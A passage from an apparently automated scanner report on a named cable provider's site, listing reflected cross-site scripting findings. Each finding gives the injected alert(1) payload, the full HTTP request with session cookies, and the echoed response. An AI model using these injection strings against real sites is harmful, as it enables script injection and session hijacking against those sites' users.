<a class="subLink" href="/services/cable/default.asp?atype=&area=21485"><script>alert(1)</script>9807c2c50b7&office=&rtCtr=">
...[SNIP]...

1.14. http://yournorthland.com/custHelp/paymentoptions.asp [atype parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/paymentoptions.asp

Issue detail

The value of the atype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d009b"><script>alert(1)</script>cb0bc154024 was submitted in the atype parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/paymentoptions.asp?atype=d009b"><script>alert(1)</script>cb0bc154024&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10916
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:27 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=d009b"><script>alert(1)</script>cb0bc154024&area=&office=&rtCtr=">
...[SNIP]...

1.15. http://yournorthland.com/custHelp/paymentoptions.asp [office parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/paymentoptions.asp

Issue detail

The value of the office request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a23a"><script>alert(1)</script>4d044f2703f was submitted in the office parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/paymentoptions.asp?atype=&area=&office=9a23a"><script>alert(1)</script>4d044f2703f&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10916
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:41 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=9a23a"><script>alert(1)</script>4d044f2703f&rtCtr=">
...[SNIP]...

1.16. http://yournorthland.com/custHelp/paymentoptions.asp [rtCtr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/paymentoptions.asp

Issue detail

The value of the rtCtr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 983f2"><script>alert(1)</script>78510f0137c was submitted in the rtCtr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/paymentoptions.asp?atype=&area=&office=&rtCtr=983f2"><script>alert(1)</script>78510f0137c HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10916
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:48 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=&rtCtr=983f2"><script>alert(1)</script>78510f0137c">
...[SNIP]...

1.17. http://yournorthland.com/custHelp/phoneHelp.asp [area parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/phoneHelp.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86762"><script>alert(1)</script>9e5af0f4baf was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/phoneHelp.asp?atype=&area=86762"><script>alert(1)</script>9e5af0f4baf&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 24997
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:40 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html>
<head>
<meta http-equiv="content-type" content="text/html; ch
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=86762"><script>alert(1)</script>9e5af0f4baf&office=&rtCtr=">
...[SNIP]...

1.18. http://yournorthland.com/custHelp/phoneHelp.asp [atype parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/phoneHelp.asp

Issue detail

The value of the atype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 798e1"><script>alert(1)</script>288a768466d was submitted in the atype parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/phoneHelp.asp?atype=798e1"><script>alert(1)</script>288a768466d&area=&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 24997
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:31 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html>
<head>
<meta http-equiv="content-type" content="text/html; ch
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=798e1"><script>alert(1)</script>288a768466d&area=&office=&rtCtr=">
...[SNIP]...

1.19. http://yournorthland.com/custHelp/phoneHelp.asp [office parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/phoneHelp.asp

Issue detail

The value of the office request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83b89"><script>alert(1)</script>5b387fd0ff8 was submitted in the office parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/phoneHelp.asp?atype=&area=&office=83b89"><script>alert(1)</script>5b387fd0ff8&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 24997
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:49 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html>
<head>
<meta http-equiv="content-type" content="text/html; ch
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=83b89"><script>alert(1)</script>5b387fd0ff8&rtCtr=">
...[SNIP]...

1.20. http://yournorthland.com/custHelp/phoneHelp.asp [rtCtr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custHelp/phoneHelp.asp

Issue detail

The value of the rtCtr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e966"><script>alert(1)</script>c7213ac2713 was submitted in the rtCtr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custHelp/phoneHelp.asp?atype=&area=&office=&rtCtr=3e966"><script>alert(1)</script>c7213ac2713 HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 24997
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:59 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html>
<head>
<meta http-equiv="content-type" content="text/html; ch
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=&rtCtr=3e966"><script>alert(1)</script>c7213ac2713">
...[SNIP]...

1.21. http://yournorthland.com/custhelp/default.asp [area parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custhelp/default.asp

Issue detail

The value of the area request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 541c0"><script>alert(1)</script>36fade05f9a was submitted in the area parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custhelp/default.asp??atype=&area=541c0"><script>alert(1)</script>36fade05f9a&office=&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9019
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:31 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=541c0"><script>alert(1)</script>36fade05f9a&office=&rtCtr=">
...[SNIP]...

1.22. http://yournorthland.com/custhelp/default.asp [office parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custhelp/default.asp

Issue detail

The value of the office request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7703e"><script>alert(1)</script>ffd15f3598c was submitted in the office parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custhelp/default.asp??atype=&area=&office=7703e"><script>alert(1)</script>ffd15f3598c&rtCtr= HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9019
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:38 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=7703e"><script>alert(1)</script>ffd15f3598c&rtCtr=">
...[SNIP]...

1.23. http://yournorthland.com/custhelp/default.asp [rtCtr parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /custhelp/default.asp

Issue detail

The value of the rtCtr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77fa7"><script>alert(1)</script>4571b93377b was submitted in the rtCtr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /custhelp/default.asp??atype=&area=&office=&rtCtr=77fa7"><script>alert(1)</script>4571b93377b HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.3.10.1303935242

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9019
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:46 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charse
...[SNIP]...
<a class="subLink" href="/services/cable/default.asp?atype=&area=&office=&rtCtr=77fa7"><script>alert(1)</script>4571b93377b">
...[SNIP]...

1.24. http://yournorthland.com/scripts/formmail.asp [Email parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /scripts/formmail.asp

Issue detail

The value of the Email request parameter is copied into the HTML document as plain text between tags. The payload 45a0c<script>alert(1)</script>d4a5554d689 was submitted in the Email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /scripts/formmail.asp?formSubject=Order%20Now%20Form HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
Referer: http://yournorthland.com/ordernow.asp
Cache-Control: max-age=0
Origin: http://yournorthland.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.9.10.1303935242
Content-Length: 468

_recipients=no-reply-99%40yournorthland.com&_requiredFields=Name%2CEmail%2CAddress%2CCity%2CPhone+Number&url=%2F&system=&Name=&Account=&Address=&City=&Phone+Number=&Source=99&Cable=none&premium=&Internet=none&Phone=none&Email=45a0c<script>alert(1)</script>d4a5554d689&_replyToField=Email&_replyto=Email&Comments=&_envars=HTTP_REFERER%2C+HTTP_USER_AGENT%2CREMOTE_ADDR&_fieldOrder=Name%2C+Account%2C+Address%2C+City%2C+Phone+Number%2C+Cable%2C+Premium%2C+Internet%2C+Ph
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1338
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:33:41 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http
...[SNIP]...
<li class="error">Invalid email address in reply-to field: 45a0c<script>alert(1)</script>d4a5554d689.</li>
...[SNIP]...

1.25. http://yournorthland.com/scripts/formmail.asp [_recipients parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /scripts/formmail.asp

Issue detail

The value of the _recipients request parameter is copied into the HTML document as plain text between tags. The payload cb246<script>alert(1)</script>31efc74bc28 was submitted in the _recipients parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /scripts/formmail.asp?formSubject=Order%20Now%20Form HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
Referer: http://yournorthland.com/ordernow.asp
Cache-Control: max-age=0
Origin: http://yournorthland.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.9.10.1303935242
Content-Length: 468

_recipients=no-reply-99%40yournorthland.comcb246<script>alert(1)</script>31efc74bc28&_requiredFields=Name%2CEmail%2CAddress%2CCity%2CPhone+Number&url=%2F&system=&Name=&Account=&Address=&City=&Phone+Number=&Source=99&Cable=none&premium=&Internet=none&Phone=none&Email=&_replyToField=Em
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1419
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:48 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http
...[SNIP]...
<li class="error">Invalid email address in recipient list: no-reply-99@yournorthland.comcb246<script>alert(1)</script>31efc74bc28.</li>
...[SNIP]...

1.26. http://yournorthland.com/scripts/formmail.asp [_requiredFields parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yournorthland.com
Path:   /scripts/formmail.asp

Issue detail

The value of the _requiredFields request parameter is copied into the HTML document as plain text between tags. The payload 9d19b<script>alert(1)</script>676488ddeb4 was submitted in the _requiredFields parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /scripts/formmail.asp?formSubject=Order%20Now%20Form HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
Referer: http://yournorthland.com/ordernow.asp
Cache-Control: max-age=0
Origin: http://yournorthland.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.9.10.1303935242
Content-Length: 468

_recipients=no-reply-99%40yournorthland.com&_requiredFields=Name%2CEmail%2CAddress%2CCity%2CPhone+Number9d19b<script>alert(1)</script>676488ddeb4&url=%2F&system=&Name=&Account=&Address=&City=&Phone+Number=&Source=99&Cable=none&premium=&Internet=none&Phone=none&Email=&_replyToField=Email&_replyto=Email&Comments=&_envars=HTTP_REFERER%2C+HTTP_USE
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1319
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http
...[SNIP]...
<li class="error">Missing value for Phone Number9d19b<script>alert(1)</script>676488ddeb4</li>
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://yournorthland.com
Path:   /scripts/formmail.asp

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

POST /scripts/formmail.asp?formSubject=Order%20Now%20Form HTTP/1.1
Host: yournorthland.com
Proxy-Connection: keep-alive
Referer: http://yournorthland.com/ordernow.asp
Cache-Control: max-age=0
Origin: http://yournorthland.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSABRASAT=LDJPBBDAIEMLBKIKNNAOOJGG; __utmz=19745767.1303935242.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=19745767.1159206364.1303935242.1303935242.1303935242.1; __utmc=19745767; __utmb=19745767.9.10.1303935242
Content-Length: 468

_recipients=no-reply-99%40yournorthland.com&_requiredFields=Name%2CEmail%2CAddress%2CCity%2CPhone+Number&url=%2F&system=&Name=&Account=&Address=&City=&Phone+Number=&Source=99&Cable=none&premium=&Inter
...[SNIP]...

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1278
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 20:32:35 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http
...[SNIP]...
<li class="error">Missing value for Name</li>

<li class="error">Missing value for Email</li>

<li class="error">Missing value for Address</li>

<li class="error">Missing value for City</li>

<li class="error">Missing value for Phone Number</li>

</ul>


</body>
</html>

Request 2

